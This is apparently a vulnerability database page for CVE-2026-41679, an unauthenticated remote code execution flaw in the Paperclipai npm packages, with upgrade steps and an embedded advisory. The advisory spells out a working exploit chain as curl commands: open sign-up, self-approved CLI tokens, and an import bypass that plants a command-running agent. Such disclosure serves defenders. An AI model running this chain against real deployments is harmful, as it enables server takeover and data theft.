CVE-2026-41679: Paperclipai Remote Code Execution Vulnerability
CRITICALCVE-2026-41679 is a CRITICAL (CVSS 10.0) remote code execution vulnerability (CWE-287: Improper Authentication) affecting Paperclipai libraries in the npm ecosystem. The issue involves paperclip vulnerable to unauthenticated remote code execution via import authorization bypass. Remediation is available by upgrading affected packages to version 2026.410.0.
CVE-2026-41679 at a Glance
Security Impact
CVSS: 10.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-41679
To remediate this vulnerability, upgrade all affected Paperclipai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install paperclipai@2026.410.0
npm install @paperclipai/server@2026.410.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls paperclipai
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-41679, inspect your project dependencies using npm:
npm ls paperclipai
Analyze the terminal output to locate any version of Paperclipai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.410.0), your application is affected.
Note: The npm ls paperclipai command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Paperclipai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-41679 Affected Paperclipai Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
paperclipai
|
npm |
< 2026.410.0
|
2026.410.0
|
|
@paperclipai/server
|
npm |
< 2026.410.0
|
2026.410.0
|
References
Frequently Asked Questions
What is CVE-2026-41679?
Which Paperclipai versions are affected?
What version fixes CVE-2026-41679?
Is paperclipai affected?
Is @paperclipai/server affected?
What is the CVSS score of CVE-2026-41679?
What CWE is associated with CVE-2026-41679?
How can I check npm dependencies for CVE-2026-41679?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-68qg-g8mg-6pr7",
"modified" : "2026-04-27T16:19:04Z",
"published" : "2026-04-10T21:08:57Z",
"aliases" : [ "CVE-2026-41679" ],
"summary" : "paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass",
"details" : "## Summary\n\nAn unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.\n\nI verified every step against the latest version. I have a fully automated PoC script and a video recording available.\n\nDiscord: sagi03581\n\n## Steps to Reproduce\n\nThe attack chains four independent flaws to escalate from zero access to RCE:\n\n### Step 1: Create an account (no invite, no email verification)\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n -d '{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\",\"name\":\"attacker\"}' \\\n http://<target>:3100/api/auth/sign-up/email\n```\n\nReturns a valid account immediately. No invite token required, no email verification.\n\nThis works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:\n\n```typescript\nconst authDisableSignUp: boolean =\n disableSignUpFromEnv !== undefined\n ? disableSignUpFromEnv === \"true\"\n : (fileConfig?.auth?.disableSignUp ?? false); // default: open\n```\n\nAnd email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:\n\n```typescript\nemailAndPassword: {\n enabled: true,\n requireEmailVerification: false,\n disableSignUp: config.authDisableSignUp,\n},\n```\n\nThe environment variable isn't documented in the deployment guide, so operators don't know it exists.\n\n### Step 2: Sign in\n\n```bash\ncurl -s -v -X POST -H \"Content-Type: application/json\" \\\n -d '{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\"}' \\\n http://<target>:3100/api/auth/sign-in/email\n```\n\nCapture the session cookie from the `Set-Cookie` header.\n\n### Step 3: Create a CLI auth challenge and self-approve it\n\nCreate the challenge (no authentication required at all):\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n -d '{\"command\":\"test\"}' \\\n http://<target>:3100/api/cli-auth/challenges\n```\n\nThe response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.\n\nNow approve it with our own session:\n\n```bash\ncurl -s -X POST \\\n -H \"Cookie: <session-cookie>\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: http://<target>:3100\" \\\n -d '{\"token\":\"<token-from-above>\"}' \\\n http://<target>:3100/api/cli-auth/challenges/<id>/approve\n```\n\nThe approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:\n\n```typescript\nif (req.actor.type !== \"board\" || (!req.actor.userId && !isLocalImplicit(req))) {\n throw unauthorized(\"Sign in before approving CLI access\");\n}\n// no check that approver !== creator\nconst userId = req.actor.userId ?? \"local-board\";\nconst approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);\n```\n\nThe `boardApiToken` from step 3 is now a persistent API key tied to our account.\n\n### Step 4: Create a company and deploy an agent via import (authorization bypass)\n\nThis is the critical flaw. The direct company creation endpoint correctly requires instance admin:\n\n`server/src/routes/companies.ts:260-264`:\n```typescript\nrouter.post(\"/\", validate(createCompanySchema), async (req, res) => {\n assertBoard(req);\n if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n throw forbidden(\"Instance admin required\");\n }\n});\n```\n\nBut the import endpoint does not:\n\n`server/src/routes/companies.ts:170-176`:\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) => {\n assertBoard(req); // only checks board type\n if (req.body.target.mode === \"existing_company\") {\n assertCompanyAccess(req, req.body.target.companyId); // only for existing\n }\n // NO assertInstanceAdmin for \"new_company\" mode\n const result = await portability.importBundle(req.body, ...);\n});\n```\n\n`assertInstanceAdmin` isn't even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`.\n\nThe import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`).\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer <board-api-key>\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: http://<target>:3100\" \\\n -d '{\n \"source\": {\"type\": \"inline\", \"files\": {\n \"COMPANY.md\": \"---\\nname: attacker-corp\\nslug: attacker-corp\\n---\\nx\",\n \"agents/pwn/AGENTS.md\": \"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\n \".paperclip.yaml\": \"agents:\\n pwn:\\n icon: terminal\\n adapter:\\n type: process\\n config:\\n command: bash\\n args:\\n - -c\\n - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt\"\n }},\n \"target\": {\"mode\": \"new_company\", \"newCompanyName\": \"attacker-corp\"},\n \"include\": {\"company\": true, \"agents\": true},\n \"agents\": \"all\"\n }' \\\n http://<target>:3100/api/companies/import\n```\n\nReturns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.\n\n### Step 5: Trigger the agent\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer <board-api-key>\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: http://<target>:3100\" \\\n -d '{}' \\\n http://<target>:3100/api/agents/<agent-id>/wakeup\n```\n\nThe wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c \"id > /tmp/pwned.txt && ...\"` as the server's OS user.\n\n### Proof of Concept\n\nI have a self-contained bash script that runs the full chain automatically:\n\n```\n./poc_exploit.sh http://<target>:3100\n```\n\nIt creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.\n\n## Impact\n\nAn unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any `authenticated` mode deployment with default configuration. This gives them:\n\n- Full filesystem access (read/write as the server user)\n- Access to all data in the Paperclip database\n- Ability to pivot to internal network services\n- Ability to disrupt all agent operations\n\nThe attack is fully automated, requires no user interaction, and works against the default deployment configuration.\n\n## Suggested Fixes\n\n### Critical: Unauthorized board access (the root cause)\n\nThe import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:\n\n- Read adapter configurations and internal API structure\n- Approve/reject/request-revision on any company's approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`)\n- Cancel any company's agent runs (same missing check)\n- Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`)\n- Create unlimited accounts for resource exhaustion\n- Wait for the next authorization bug to appear\n\n**These need to be fixed together:**\n\n1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly.\n\n2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.\n\n3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts.\n\n### Critical: Import authorization bypass (the RCE path)\n\n4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both `POST /import` and `POST /import/preview`:\n\n```typescript\nassertBoard(req);\nif (req.body.target.mode === \"new_company\") {\n if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n throw forbidden(\"Instance admin required\");\n }\n} else {\n assertCompanyAccess(req, req.body.target.companyId);\n}\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "paperclipai"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2026.410.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@paperclipai/server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2026.410.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41679"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/paperclipai/paperclip"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1188", "CWE-287", "CWE-862" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-10T21:08:57Z",
"nvd_published_at" : "2026-04-23T02:16:19Z"
}
}